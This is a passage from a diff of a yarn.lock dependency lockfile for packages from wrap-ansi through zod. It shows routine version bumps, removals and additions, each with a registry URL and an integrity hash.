   resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
   integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
@@ -16638,6 +17843,15 @@ wrap-ansi@^6.2.0:
     string-width "^4.1.0"
     strip-ansi "^6.0.0"
 
+wrap-ansi@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
+  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
+  dependencies:
+    ansi-styles "^4.0.0"
+    string-width "^4.1.0"
+    strip-ansi "^6.0.0"
+
 wrap-ansi@^8.1.0:
   version "8.1.0"
   resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-8.1.0.tgz#56dc22368ee570face1b49819975d9b9a5ead214"
@@ -16652,15 +17866,6 @@ wrappy@1:
   resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
   integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==
 
-write-file-atomic@^2.0.0:
-  version "2.4.3"
-  resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-2.4.3.tgz#1fd2e9ae1df3e75b8d8c367443c692d4ca81f481"
-  integrity sha512-GaETH5wwsX+GcnzhPgKcKjJ6M2Cq3/iZp1WyY/X1CSqrW+jVNM9Y7D8EC2sM4ZG/V8wZlSniJnCKWPmBYAucRQ==
-  dependencies:
-    graceful-fs "^4.1.11"
-    imurmurhash "^0.1.4"
-    signal-exit "^3.0.2"
-
 write-file-atomic@^3.0.0:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-3.0.1.tgz#558328352e673b5bb192cf86500d60b230667d4b"
@@ -16671,6 +17876,16 @@ write-file-atomic@^3.0.0:
     signal-exit "^3.0.2"
     typedarray-to-buffer "^3.1.5"
 
+write-file-atomic@^3.0.3:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-3.0.3.tgz#56bd5c5a5c70481cd19c571bd39ab965a5de56e8"
+  integrity sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==
+  dependencies:
+    imurmurhash "^0.1.4"
+    is-typedarray "^1.0.0"
+    signal-exit "^3.0.2"
+    typedarray-to-buffer "^3.1.5"
+
 write-file-atomic@^4.0.2:
   version "4.0.2"
   resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-4.0.2.tgz#a9df01ae5b77858a027fd2e80768ee433555fcfd"
@@ -16679,53 +17894,44 @@ write-file-atomic@^4.0.2:
     imurmurhash "^0.1.4"
     signal-exit "^3.0.7"
 
-write@1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/write/-/write-1.0.3.tgz#0800e14523b923a387e415123c865616aae0f5c3"
-  integrity sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==
-  dependencies:
-    mkdirp "^0.5.1"
-
-ws@7.2.3:
-  version "7.2.3"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-7.2.3.tgz#a5411e1fb04d5ed0efee76d26d5c46d830c39b46"
-  integrity sha512-HTDl9G9hbkNDk98naoR/cHDws7+EyYMOdL1BmjsZXRUjf7d+MficC4B7HLUPlSiho0vg+CWKrGIt/VJBd1xunQ==
+ws@8.17.1, ws@^8.13.0:
+  version "8.17.1"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-8.17.1.tgz#9293da530bb548febc95371d90f9c878727d919b"
+  integrity sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==
 
 ws@^7:
-  version "7.2.1"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-7.2.1.tgz#03ed52423cd744084b2cf42ed197c8b65a936b8e"
-  integrity sha512-sucePNSafamSKoOqoNfBd8V0StlkzJKL2ZAhGQinCfNQ+oacw+Pk7lcdAElecBF2VkLNZRiIb5Oi1Q5lVUVt2A==
-
-ws@^7.4.6:
-  version "7.5.5"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-7.5.5.tgz#8b4bc4af518cfabd0473ae4f99144287b33eb881"
-  integrity sha512-BAkMFcAzl8as1G/hArkxOxq3G7pjUqQ3gzYbLL0/5zNkph70e+lCoxBGnm6AW1+/aiNeV4fnKqZ8m4GZewmH2w==
-
-ws@^8.13.0:
-  version "8.17.0"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-8.17.0.tgz#d145d18eca2ed25aaf791a183903f7be5e295fea"
-  integrity sha512-uJq6108EgZMAl20KagGkzCKfMEjxmKvZHG7Tlq0Z6nOky7YF7aq4mOx6xK8TJ/i1LeK4Qus7INktacctDgY8Ow==
+  version "7.5.10"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-7.5.10.tgz#58b5c20dc281633f6c19113f39b349bd8bd558d9"
+  integrity sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==
 
 xcase@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/xcase/-/xcase-2.0.1.tgz#c7fa72caa0f440db78fd5673432038ac984450b9"
   integrity sha512-UmFXIPU+9Eg3E9m/728Bii0lAIuoc+6nbrNUKaRPJOFp91ih44qqGlWtxMB6kXFrRD6po+86ksHM5XHCfk6iPw==
 
-xdg-basedir@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/xdg-basedir/-/xdg-basedir-3.0.0.tgz#496b2cc109eca8dbacfe2dc72b603c17c5870ad4"
-  integrity sha1-SWsswQnsqNus/i3HK2A8F8WHCtQ=
-
 xdg-basedir@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/xdg-basedir/-/xdg-basedir-4.0.0.tgz#4bc8d9984403696225ef83a1573cbbcb4e79db13"
   integrity sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q==
 
+xdg-basedir@^5.0.1, xdg-basedir@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/xdg-basedir/-/xdg-basedir-5.1.0.tgz#1efba19425e73be1bc6f2a6ceb52a3d2c884c0c9"
+  integrity sha512-GCPAHLvrIH13+c0SuacwvRYj2SxJXQ4kaVTT5xgL3kPrz56XxkF21IGhjSE1+W0aw7gpBWRGXLCPnPby6lSpmQ==
+
 xml-name-validator@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/xml-name-validator/-/xml-name-validator-4.0.0.tgz#79a006e2e63149a8600f15430f0a4725d1524835"
   integrity sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==
 
+xml2js@^0.5.0:
+  version "0.5.0"
+  resolved "https://registry.yarnpkg.com/xml2js/-/xml2js-0.5.0.tgz#d9440631fbb2ed800203fad106f2724f62c493b7"
+  integrity sha512-drPFnkQJik/O+uPKpqSgr22mpuFHqKdbS835iAQrUC73L2F5WkboIRd63ai/2Yg6I1jzifPFKH2NTK+cfglkIA==
+  dependencies:
+    sax ">=0.6.0"
+    xmlbuilder "~11.0.0"
+
 xml2js@~0.4.4:
   version "0.4.19"
   resolved "https://registry.yarnpkg.com/xml2js/-/xml2js-0.4.19.tgz#686c20f213209e94abf0d1bcf1efaa291c7827a7"
@@ -16734,6 +17940,11 @@ xml2js@~0.4.4:
     sax ">=0.6.0"
     xmlbuilder "~9.0.1"
 
+xmlbuilder@~11.0.0:
+  version "11.0.1"
+  resolved "https://registry.yarnpkg.com/xmlbuilder/-/xmlbuilder-11.0.1.tgz#be9bae1c8a046e76b31127726347d0ad7002beb3"
+  integrity sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==
+
 xmlbuilder@~9.0.1:
   version "9.0.7"
   resolved "https://registry.yarnpkg.com/xmlbuilder/-/xmlbuilder-9.0.7.tgz#132ee63d2ec5565c557e20f4c22df9aca686b10d"
@@ -16744,13 +17955,6 @@ xmlchars@^2.2.0:
   resolved "https://registry.yarnpkg.com/xmlchars/-/xmlchars-2.2.0.tgz#060fe1bcb7f9c76fe2a17db86a9bc3ab894210cb"
   integrity sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==
 
-xregexp@^4.2.4:
-  version "4.2.4"
-  resolved "https://registry.yarnpkg.com/xregexp/-/xregexp-4.2.4.tgz#02a4aea056d65a42632c02f0233eab8e4d7e57ed"
-  integrity sha512-sO0bYdYeJAJBcJA8g7MJJX7UrOZIfJPd8U2SC7B2Dd/J24U0aQNoGp33shCaBSWeb0rD5rh6VBUIXOkGal1TZA==
-  dependencies:
-    "@babel/runtime-corejs2" "^7.2.0"
-
 xtend@^4.0.0, xtend@~4.0.0, xtend@~4.0.1:
   version "4.0.2"
   resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54"
@@ -16789,12 +17993,50 @@ yargs-parser@^18.1.1:
     camelcase "^5.0.0"
     decamelize "^1.2.0"
 
+yargs-parser@^18.1.2:
+  version "18.1.3"
+  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-18.1.3.tgz#be68c4975c6b2abf469236b0c870362fab09a7b0"
+  integrity sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==
+  dependencies:
+    camelcase "^5.0.0"
+    decamelize "^1.2.0"
+
 yargs-parser@^21.1.1:
   version "21.1.1"
   resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-21.1.1.tgz#9096bceebf990d21bb31fa9516e0ede294a77d35"
   integrity sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==
 
-yargs@15.3.1, yargs@^15.3.1, yargs@~15.3.0:
+yargs@17.7.2, yargs@^17.3.1:
+  version "17.7.2"
+  resolved "https://registry.yarnpkg.com/yargs/-/yargs-17.7.2.tgz#991df39aca675a192b816e1e0363f9d75d2aa269"
+  integrity sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==
+  dependencies:
+    cliui "^8.0.1"
+    escalade "^3.1.1"
+    get-caller-file "^2.0.5"
+    require-directory "^2.1.1"
+    string-width "^4.2.3"
+    y18n "^5.0.5"
+    yargs-parser "^21.1.1"
+
+yargs@^15.1.0:
+  version "15.4.1"
+  resolved "https://registry.yarnpkg.com/yargs/-/yargs-15.4.1.tgz#0d87a16de01aee9d8bec2bfbf74f67851730f4f8"
+  integrity sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==
+  dependencies:
+    cliui "^6.0.0"
+    decamelize "^1.2.0"
+    find-up "^4.1.0"
+    get-caller-file "^2.0.1"
+    require-directory "^2.1.1"
+    require-main-filename "^2.0.0"
+    set-blocking "^2.0.0"
+    string-width "^4.2.0"
+    which-module "^2.0.0"
+    y18n "^4.0.0"
+    yargs-parser "^18.1.2"
+
+yargs@^15.3.1:
   version "15.3.1"
   resolved "https://registry.yarnpkg.com/yargs/-/yargs-15.3.1.tgz#9505b472763963e54afe60148ad27a330818e98b"
   integrity sha512-92O1HWEjw27sBfgmXiixJWT5hRBp2eobqXicLtPBIDBhYB+1HpwZlXmbW2luivBJHBzki+7VyCLRtAkScbTBQA==
@@ -16811,19 +18053,6 @@ yargs@15.3.1, yargs@^15.3.1, yargs@~15.3.0:
     y18n "^4.0.0"
     yargs-parser "^18.1.1"
 
-yargs@^17.3.1:
-  version "17.7.2"
-  resolved "https://registry.yarnpkg.com/yargs/-/yargs-17.7.2.tgz#991df39aca675a192b816e1e0363f9d75d2aa269"
-  integrity sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==
-  dependencies:
-    cliui "^8.0.1"
-    escalade "^3.1.1"
-    get-caller-file "^2.0.5"
-    require-directory "^2.1.1"
-    string-width "^4.2.3"
-    y18n "^5.0.5"
-    yargs-parser "^21.1.1"
-
 yauzl@2.10.0, yauzl@^2.10.0, yauzl@^2.4.2:
   version "2.10.0"
   resolved "https://registry.yarnpkg.com/yauzl/-/yauzl-2.10.0.tgz#c7eb17c93e112cb1086fa6d8e51fb0667b79a5f9"
@@ -16832,13 +18061,6 @@ yauzl@2.10.0, yauzl@^2.10.0, yauzl@^2.4.2:
     buffer-crc32 "~0.2.3"
     fd-slicer "~1.1.0"
 
-yazl@^2.5.1:
-  version "2.5.1"
-  resolved "https://registry.yarnpkg.com/yazl/-/yazl-2.5.1.tgz#a3d65d3dd659a5b0937850e8609f22fffa2b5c35"
-  integrity sha512-phENi2PLiHnHb6QBVot+dJnaAZ0xosj7p3fWl+znIjBDlnMI2PsZCJZ306BPTFOaHf5qdDEI8x5qFrSOBN5vrw==
-  dependencies:
-    buffer-crc32 "~0.2.3"
-
 yn@3.1.1:
   version "3.1.1"
   resolved "https://registry.yarnpkg.com/yn/-/yn-3.1.1.tgz#1e87401a09d767c1d5eab26a6e4c185182d2eb50"
@@ -16849,13 +18071,13 @@ yocto-queue@^0.1.0:
   resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b"
   integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==
 
-zip-dir@1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/zip-dir/-/zip-dir-1.0.2.tgz#253f907aead62a21acd8721d8b88032b2411c051"
-  integrity sha1-JT+QeurWKiGs2HIdi4gDKyQRwFE=
+zip-dir@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/zip-dir/-/zip-dir-2.0.0.tgz#c5df6e15c8f9efeb4e320377028c9f5c8277c932"
+  integrity sha512-uhlsJZWz26FLYXOD6WVuq+fIcZ3aBPGo/cFdiLlv3KNwpa52IF3ISV8fLhQLiqVu5No3VhlqlgthN6gehil1Dg==
   dependencies:
-    async "^1.5.2"
-    jszip "^2.4.0"
+    async "^3.2.0"
+    jszip "^3.2.2"
 
 zip-stream@^1.2.0:
   version "1.2.0"
@@ -16875,3 +18097,13 @@ zip-stream@^2.1.2:
     archiver-utils "^2.1.0"
     compress-commons "^2.1.1"
     readable-stream "^3.4.0"
+
+"zod-validation-error@^3.5.0 || ^4.0.0":
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/zod-validation-error/-/zod-validation-error-4.0.2.tgz#bc605eba49ce0fcd598c127fee1c236be3f22918"
+  integrity sha512-Q6/nZLe6jxuU80qb/4uJ4t5v2VEZ44lzQjPDhYJNztRQ4wyWc6VF3D3Kb/fAuPetZQnhS3hnajCf9CsWesghLQ==
+
+"zod@^3.25.0 || ^4.0.0":
+  version "4.1.12"
+  resolved "https://registry.yarnpkg.com/zod/-/zod-4.1.12.tgz#64f1ea53d00eab91853195653b5af9eee68970f0"
+  integrity sha512-JInaHOamG8pt5+Ey8kGmdcAcg3OL9reK8ltczgHTAwNhMys/6ThXHityHxVV2p3fkw/c+MAvBHFVYHFZDmjMCQ==